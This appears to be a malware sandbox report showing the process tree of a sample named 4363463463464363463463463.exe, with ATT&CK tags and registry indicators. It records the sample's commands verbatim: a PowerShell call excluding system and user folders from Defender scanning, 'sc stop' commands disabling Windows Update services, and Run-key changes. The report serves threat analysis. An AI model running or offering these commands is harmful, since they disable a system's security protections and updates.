PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 5032	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2680	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2680	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe
PID 3168 wrote to memory of 2704	3168	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3756 attrib.exe

outlook_office_path 1 IoCs

Processes:

v7wa24td.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe

outlook_win_path 1 IoCs

Processes:

v7wa24td.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	v7wa24td.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3332
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff87af3cc40,0x7ff87af3cc4c,0x7ff87af3cc58
    3⤵
    PID:1784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1680,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1656 /prefetch:2
    3⤵
    PID:5032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2024,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2088 /prefetch:3
    3⤵
    PID:2680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2180,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2188 /prefetch:8
    3⤵
    PID:2704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3096,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:3172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3168,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:2268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3568,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3576 /prefetch:1
    3⤵
    PID:3968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4636,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4804 /prefetch:8
    3⤵
    PID:1604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4944,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4952 /prefetch:8
    3⤵
    PID:1296
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
    3⤵
    - Drops file in Windows directory
    PID:2380
  - - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff6ff274698,0x7ff6ff2746a4,0x7ff6ff2746b0
      4⤵
      Drops file in Windows directory
      PID:3192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5060,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4984 /prefetch:1
    3⤵
    PID:4616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4672,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5004 /prefetch:1
    3⤵
    PID:3844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=3416,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3204 /prefetch:1
    3⤵
    PID:4500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=3308,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3444 /prefetch:8
    3⤵
    PID:1752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3368,i,16646519813865657099,5403877134268238234,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4520 /prefetch:8
    3⤵
    - Modifies registry class
    PID:1664
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:2288
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1376
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1948 -parentBuildID 20240401114208 -prefsHandle 1840 -prefMapHandle 1844 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c66ee8bc-a621-4ce2-8c03-9bc85a06854b} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" gpu
      4⤵
      PID:408
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2348 -parentBuildID 20240401114208 -prefsHandle 2340 -prefMapHandle 2336 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec137ea3-c0cd-4b94-8dd7-c6002b9831d9} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" socket
      4⤵
      Checks processor information in registry
      PID:1932
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3272 -childID 1 -isForBrowser -prefsHandle 2840 -prefMapHandle 2904 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3aae6fd0-174e-4d23-92ae-21256ca5da6f} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:1460
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3816 -childID 2 -isForBrowser -prefsHandle 3812 -prefMapHandle 3808 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec5ddad4-7774-4add-aabc-4872e695b1c3} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:4684
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4596 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4488 -prefMapHandle 4608 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4abcfaa-8f75-43a2-bf90-6fdb6990cedc} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" utility
      4⤵
      Checks processor information in registry
      PID:3500
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5332 -childID 3 -isForBrowser -prefsHandle 5324 -prefMapHandle 5320 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3551cd-a466-4bee-aba1-fcc171969a8f} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:3304
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5476 -childID 4 -isForBrowser -prefsHandle 5556 -prefMapHandle 5552 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cdeca6e7-b103-40a5-a547-efe1471484db} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:1084
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5464 -childID 5 -isForBrowser -prefsHandle 5692 -prefMapHandle 5696 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9d9069e4-3813-4dca-a6fa-9bb2bc88f4bb} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:2712
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6204 -childID 6 -isForBrowser -prefsHandle 6164 -prefMapHandle 6196 -prefsLen 27182 -prefMapSize 244658 -jsInitHandle 1300 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {83683186-6dae-4962-bade-4f1939c8a08f} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" tab
      4⤵
      PID:4640
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3612 -parentBuildID 20240401114208 -prefsHandle 4084 -prefMapHandle 6444 -prefsLen 29693 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c1b352ca-0198-46c2-a015-a146fbce97b4} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" rdd
      4⤵
      PID:1100
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 6700 -prefMapHandle 6596 -prefsLen 29693 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {21107fd9-6dc6-4446-9c87-9f71acd06548} 1376 "\\.\pipe\gecko-crash-server-pipe.1376" utility
      4⤵
      Checks processor information in registry
      PID:1212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff894dd3cb8,0x7ff894dd3cc8,0x7ff894dd3cd8
    3⤵
    PID:3784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
    3⤵
    PID:3100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1944 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2500 /prefetch:8
    3⤵
    PID:396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
    3⤵
    PID:3572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:3296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:1
    3⤵
    PID:2780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4524 /prefetch:1
    3⤵
    PID:3276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3996 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1520
- - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:1640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1
    3⤵
    PID:744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1
    3⤵
    PID:1664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1644 /prefetch:1
    3⤵
    PID:2028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,10546412139750121386,13919627422590619634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4556 /prefetch:1
    3⤵
    PID:1884
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:564
- - C:\Users\Admin\Desktop\Files\t2.exe
    "C:\Users\Admin\Desktop\Files\t2.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2420
  - - C:\Windows\sysklnorbcv.exe
      C:\Windows\sysklnorbcv.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:3572
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4012
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:220
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2420
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2264
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4380
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:848
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1640
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4580
    - - C:\Users\Admin\AppData\Local\Temp\1353228420.exe
        
        C:\Users\Admin\AppData\Local\Temp\1353228420.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1992
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:1104
        
